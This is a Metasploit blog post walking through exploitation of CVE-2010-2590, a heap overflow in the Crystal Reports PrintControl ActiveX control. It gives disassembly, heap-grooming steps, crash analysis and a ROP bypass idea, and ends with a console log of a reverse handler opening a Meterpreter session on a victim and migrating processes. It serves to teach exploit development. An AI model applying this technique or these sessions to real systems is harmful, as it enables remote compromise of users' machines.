In this blog post we would like to share some details about the exploit for CVE-2010-2590, which we released in the last Metasploit update. This module exploits a heap-based buffer overflow, discovered by Dmitriy Pletnev, in the CrystalReports12.CrystalPrintControl.1 ActiveX control included in PrintControl.dll. This control is shipped with the Crystal Reports Viewer, as installed by default with Crystal Reports 2008. While this is a vulnerability from the end of 2010, its exploitation has some interesting details related to heap exploitation we would like to share.

 

The vulnerability

 

The heap-based overflow, according to the provided information, occurs when setting a specially crafted ServerResourceVersion property value in a string. The next code is discovered when looking at the setter for the ServerResourceVersion property:

 

.text:3F14254B ; int __stdcall set_ServerResourceVersion_sub_3F14254B(int, wchar_t *)

.text:3F14254B PrintControl_ref_arg_0= dword ptr  4

.text:3F14254B user_string_arg_4= dword ptr  8

.text:3F14254B

.text:3F14254B                mov    eax, [esp+PrintControl_ref_arg_0]

.text:3F14254F                add    eax, 52Ch

.text:3F142554                cmp    word ptr [eax], 0

.text:3F142558                jnz    short loc_3F142566

.text:3F14255A                push    [esp+user_string_arg_4] ; wchar_t *

.text:3F14255E                push    eax            ; wchar_t *

.text:3F14255F                call    _wcscpy

.text:3F142564                pop    ecx

.text:3F142565                pop    ecx

.text:3F142566

.text:3F142566 loc_3F142566:                          ; CODE XREF: set_ServerResourceVersion_sub_3F14254B+D j

.text:3F142566                xor    eax, eax

.text:3F142568                retn    8

 

Indeed the dangerous wcscpy function is used to store an user provided string as ServerResourceVersion property for the CrystalPrintControl class. The function receives a pointer to the CrystalPrintControl object as first argument, and the 0x52c offset is used to store the provided string (second argument). We can use debugging to verify where the CrystalPrintControl object is stored:

 

ModLoad: 03da0000 03daf000  C:\Program Files\Business Objects\Common\4.0\crystalreportviewers12\ActiveXControls\PrintControl_res_en.d ll

Breakpoint 0 hit

eax=7ffd6000 ebx=3f18a820 ecx=3f14254b edx=0024949a esi=0201f508 edi=00000000

eip=3f14254b esp=0201f2a0 ebp=0201f2b8 iopl=0        nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00000202

PrintControl+0x254b:

3f14254b 8b442404        mov    eax,dword ptr [esp+4] ss:0023:0201f2a4=183cd503

0:008> dd esp L3

0201f2a0  77135cd9 03d53c18 028deebc

0:008> !address 03d53c18

Mapping file section regions...

Mapping module regions...

Mapping PEB regions...

Mapping TEB and stack regions...

Mapping heap regions...

Mapping page heap regions...

Mapping other regions...

Mapping stack trace database regions...

Mapping activation context regions...

Usage:                  Heap

Base Address:          03d50000

End Address:            03d55000

Region Size:            00005000

State:                  00001000 MEM_COMMIT

Protect:                00000004 PAGE_READWRITE

Type:                  00020000 MEM_PRIVATE

Allocation Base:        03d50000

Allocation Protect:    00000004 PAGE_READWRITE

More info:              heap owning the address: !heap 0x3d50000

More info:              heap segment

More info:              heap entry containing the address: !heap -x 0x3d53c18

0:008> !heap

Index  Address  Name      Debugging options enabled

  1:  00150000

  2:  00250000

  3:  00260000

  4:  00350000

  5:  00380000

  6:  00980000

  7:  02760000

  8:  02810000

  9:  03130000

10:  03170000

11:  031b0000

12:  02f20000

13:  03640000

14:  03740000

15:  03770000

16:  03890000

17:  03d30000

18:  03d40000

19:  03d50000

20:  03d60000

0:008> !heap -p -a 03d53c18

    address 03d53c18 found in

    _HEAP @ 3d50000

      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state

        03d53c10 0128 0000  [01]  03d53c18    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

 

As expected, the CrystalPrintControl object is stored in the heap, specifically in a chunk of 0x938 bytes. Since the ServerResourceVersion is stored at the offset 0x52c, by providing a string bigger than 0x40c bytes it's possible to overflow the heap space allocated for the CrystalPrintControl object. The interesting detail to have into account is the heap where the class is stored. As you can notice it isn't stored in the default process heap (0x00150000), because of this well known javascript feng shui techniques can't be used to control the heap.

 

The Heap

 

 

cruntime_init_heap_create.png

As said just above, the vulnerable ActiveX, which lives on the PrintControl.dll module, will use a dedicated heap, created during the CRT Runtime initialization. Then memory will be allocated with the use of the C runtime new() function. In the case of creation of a CrystalPrintControl object, an allocation of the "vulnerable" size can be observed. Feel free to check the attached prezi presentation (thanks sinn3r!) for details:

prezi.png

Exploitation

 

Since a heap allocation of 0x938 bytes will be done to store each CrystalPrintControl object, we should be able to create more 0x938 allocations, in the vulnerable heap, by just creating more CrystalPrintControl objects. It can be tested with a JavaScript code like this one (tested on IE8 / XP SP3):

 

 

  • At alert(1) - Any allocation:

 

0:017> !heap -flt s 0x938

    _HEAP @ 150000

    _HEAP @ 250000

    _HEAP @ 260000

    _HEAP @ 350000

    _HEAP @ 380000

    _HEAP @ 980000

    _HEAP @ 2760000

    _HEAP @ 2810000

    _HEAP @ 3100000

    _HEAP @ 3130000

 

  • At alert(2) - 5 allocations:

 

0:017> !heap -flt s 0x938

    _HEAP @ 150000

    _HEAP @ 250000

    _HEAP @ 260000

    _HEAP @ 350000

    _HEAP @ 380000

    _HEAP @ 980000

    _HEAP @ 2760000

    _HEAP @ 2810000

    _HEAP @ 3100000

    _HEAP @ 3130000

    _HEAP @ 3240000

    _HEAP @ 35f0000

    _HEAP @ 3600000

    _HEAP @ 3610000

      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state

        03613c10 0128 0000  [01]  03613c18    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03614550 0128 0128  [01]  03614558    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03614e90 0128 0128  [01]  03614e98    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        036157d0 0128 0128  [01]  036157d8    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03616110 0128 0128  [01]  03616118    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

    _HEAP @ 3620000

 

  • At alert(3) - 10 allocations:

 

0:017> !heap -flt s 0x938

    _HEAP @ 150000

    _HEAP @ 250000

    _HEAP @ 260000

    _HEAP @ 350000

    _HEAP @ 380000

    _HEAP @ 980000

    _HEAP @ 2760000

    _HEAP @ 2810000

    _HEAP @ 3100000

    _HEAP @ 3130000

    _HEAP @ 3240000

    _HEAP @ 35f0000

    _HEAP @ 3600000

    _HEAP @ 3610000

      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state

        03613c10 0128 0000  [01]  03613c18    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03614550 0128 0128  [01]  03614558    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03614e90 0128 0128  [01]  03614e98    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        036157d0 0128 0128  [01]  036157d8    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03616110 0128 0128  [01]  03616118    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03616ae8 0128 0128  [01]  03616af0    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03617428 0128 0128  [01]  03617430    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03617d68 0128 0128  [01]  03617d70    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        036186a8 0128 0128  [01]  036186b0    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03618fe8 0128 0128  [01]  03618ff0    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

    _HEAP @ 3620000

 

With it in mind by just creating CrystalPrintControl objects, more 0x938 size objects (as the vulnerable one) can be created in the same heap. According to empirical tests 10 allocations seems to be sufficient to get the heap defragmented and put CrystalPrintControl objects consecutive in memory. Look at the next code modified from the one before:

 

 

At the moment of alert(1); it's the state of the CrystalPrintControl objects at memory:

 

0:018> !heap -flt s 938

    _HEAP @ 150000

    _HEAP @ 250000

    _HEAP @ 260000

    _HEAP @ 350000

    _HEAP @ 380000

    _HEAP @ 980000

    _HEAP @ 2760000

    _HEAP @ 2810000

    _HEAP @ 3210000

    _HEAP @ 3240000

    _HEAP @ 3350000

    _HEAP @ 3700000

    _HEAP @ 3810000

    _HEAP @ 3820000

      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state

        03823c10 0128 0000  [01]  03823c18    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03824550 0128 0128  [01]  03824558    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03824e90 0128 0128  [01]  03824e98    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        038257d0 0128 0128  [01]  038257d8    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03826110 0128 0128  [01]  03826118    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03826a50 0128 0128  [01]  03826a58    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03827390 0128 0128  [01]  03827398    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03827cd0 0128 0128  [01]  03827cd8    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03828610 0128 0128  [01]  03828618    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03828f50 0128 0128  [01]  03828f58    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

    _HEAP @ 3830000

 

By setting the ServerResourceVersion property of the 9th object with more than 0x40C bytes (fill the 9th CrystalPrintControl object) plus 8 bytes (fill the 10th heap chunk header), finally the 10th CrystalPrintControl object in memory can be overflowed (located at 0x3828f58). After the overflow:

 

0:008> !heap -flt s 938

    _HEAP @ 150000

    _HEAP @ 250000

    _HEAP @ 260000

    _HEAP @ 350000

    _HEAP @ 380000

    _HEAP @ 980000

    _HEAP @ 2760000

    _HEAP @ 2810000

    _HEAP @ 3210000

    _HEAP @ 3240000

    _HEAP @ 3350000

    _HEAP @ 3700000

    _HEAP @ 3810000

    _HEAP @ 3820000

      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state

        03823c10 0128 0000  [01]  03823c18    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03824550 0128 0128  [01]  03824558    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03824e90 0128 0128  [01]  03824e98    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        038257d0 0128 0128  [01]  038257d8    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03826110 0128 0128  [01]  03826118    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03826a50 0128 0128  [01]  03826a58    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03827390 0128 0128  [01]  03827398    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03827cd0 0128 0128  [01]  03827cd8    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03828610 0128 0128  [01]  03828618    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

    _HEAP @ 3830000

 

What happened with the 10th object? It has been overflowed, both the heap chunk header and the object:

 

0:008> dd 03828f50 L2

03828f50  41414141 41414141

0:008> dd 03828f58 L4

03828f58  41414141 41414141 41414141 41414141

 

And when trying to use (dereference) the overflowed CrystalPrintControl object and invoke one of its methods, an interesting crash from the exploitation point of view happens:

 

(da8.cbc): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=41414141 ebx=0035b9a8 ecx=0201f608 edx=0201f5e4 esi=00355da8 edi=03828f58

eip=633a8dcb esp=0201f5b8 ebp=0201f5d0 iopl=0        nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00010246

jscript!IDispatchGetIDsOfNames+0x86:

633a8dcb 8b4014          mov    eax,dword ptr [eax+14h] ds:0023:41414155=????????

0:008> u 633A8DC9 L 9

jscript!IDispatchGetIDsOfNames+0x84:

633a8dc9 8b07            mov    eax,dword ptr [edi]

633a8dcb 8b4014          mov    eax,dword ptr [eax+14h]

633a8dce 51              push    ecx

633a8dcf 6809040000      push    409h

633a8dd4 6a01            push    1

633a8dd6 52              push    edx

633a8dd7 6824723a63      push    offset jscript!GUID_NULL (633a7224)

633a8ddc 57              push    edi

633a8ddd ffd0          call    eax

0:008> kb

ChildEBP RetAddr  Args to Child

0201f5d0 633a8d5c 0201f5e4 0201f608 633a74d8 jscript!IDispatchGetIDsOfNames+0x86

0201f5e8 633aa51f 0035b9a8 0201f608 0035f974 jscript!GetDispatchDispID+0x2c

0201f610 633a99b7 0035b9a8 0201f738 00000002 jscript!VAR::InvokeByName+0x74

0201f7a8 633a5ab0 0201f7c0 0201f908 0201f908 jscript!CScriptRuntime::Run+0x655

0201f890 633a59f7 0201f908 00000000 00000000 jscript!ScrFncObj::CallWithFrameOnStack+0xff

0201f8dc 633a5743 0201f908 00000000 00000000 jscript!ScrFncObj::Call+0x8f

0201f958 633891f1 0035f9b8 0201fb18 00000000 jscript!CSession::Execute+0x175

0201f9a4 63388f65 0035b758 0201fb18 0201fb28 jscript!COleScript::ExecutePendingScripts+0x1c0

0201fa08 63388d7f 0035b758 028ade04 635be83c jscript!COleScript::ParseScriptTextCore+0x29a

0201fa30 635bf025 0035b75c 02910d34 028ade04 jscript!COleScript::ParseScriptText+0x30

0201fa88 635be7ca 0023e820 00000000 02838060 mshtml!CScriptCollection::ParseScriptText+0x219

0201fb4c 635be5ab 00000000 00000000 00000000 mshtml!CScriptElement::CommitCode+0x3a9

0201fb80 635ac020 7c80932e 001f8820 001f8820 mshtml!CScriptElement::Execute+0xc4

0201fbd4 635a74f0 0283e360 7c80932e 001f8820 mshtml!CHtmParse::Execute+0x4a

0201fbec 635a7266 635a6a75 02f6d3d0 001f8820 mshtml!CHtmPost::Broadcast+0xf

0201fcac 635ac2b8 02f6d3d0 00000000 001f8820 mshtml!CHtmPost::Exec+0x5f6

0201fcc4 635ac21b 02f6d3d0 00000000 001f8820 mshtml!CHtmPost::Run+0x15

0201fce4 635ac17e 0022c280 02f6d3d0 001f8820 mshtml!PostManExecute+0x1fd

0201fd04 635ac0e2 00000001 0000007f 0201fd24 mshtml!PostManResume+0xf8

0201fd14 63655d60 0024a840 001f8820 0201fd58 mshtml!CHtmPost::OnDwnChanCallback+0x10

0201fd24 6364de62 0024a840 00000000 0022c280 mshtml!CDwnChan::OnMethodCall+0x19

0201fd58 6363c3c5 0201fde0 6363c317 00000000 mshtml!GlobalWndOnMethodCall+0xfb

0201fd78 7e418734 001c0524 00000008 00000000 mshtml!GlobalWndProc+0x183

0201fda4 7e418816 6363c317 001c0524 00008002 USER32!InternalCallWinProc+0x28

0201fe0c 7e4189cd 00000000 6363c317 001c0524 USER32!UserCallWinProcCheckWow+0x150

0201fe6c 7e418a10 0201fe94 00000000 0201feec USER32!DispatchMessageWorker+0x306

0201fe7c 00cb2ec9 0201fe94 00000000 00355aa8 USER32!DispatchMessageW+0xf

0201feec 00c548bf 00182148 00000001 0015fe68 IEFRAME!CTabWindow::_TabWindowThreadProc+0x461

0201ffa4 5de05a60 00355aa8 0bf0002f 0201ffec IEFRAME!LCIETab_ThreadProc+0x2c1

0201ffb4 7c80b713 0015fe68 00000001 0bf0002f iertutil!CIsoScope::RegisterThread+0xab

0201ffec 00000000 5de05a52 0015fe68 00000000 kernel32!BaseThreadStart+0x37

 

In this case, the vulnerable ActiveX (PrintControl) also ships the well known msvcr71.dll, which can be used to bypass DEP/ASLR protections via rop chain:

 

msvcr71.png

 

So far so good, time to demo the metasploit module!

 

  
msf  exploit(crystal_reports_printcontrol) > exploit
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.129:4444 

[*] Using URL: http://0.0.0.0:8080/IXWArTzszXQO
[*]  Local IP: http://192.168.1.129:8080/IXWArTzszXQO
[*] Server started.
msf  exploit(crystal_reports_printcontrol) > [*] 192.168.1.137    crystal_reports_printcontrol - Requesting: /IXWArTzszXQO
[*] 192.168.1.137    crystal_reports_printcontrol - Target selected as: IE 8 on Windows 7
[*] 192.168.1.137    crystal_reports_printcontrol - Using JRE ROP
[*] 192.168.1.137    crystal_reports_printcontrol - Sending HTML...
[*] Sending stage (752128 bytes) to 192.168.1.137
[*] Meterpreter session 1 opened (192.168.1.129:4444 -> 192.168.1.137:49654) at 2012-12-14 12:44:02 +0100
[*] Session ID 1 (192.168.1.129:4444 -> 192.168.1.137:49654) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (1648)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2484
[+] Successfully migrated to process 

 

 

 

 

Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions.


PD: As always, thanks to sinn3r for keep reviewing and helping to make it look better!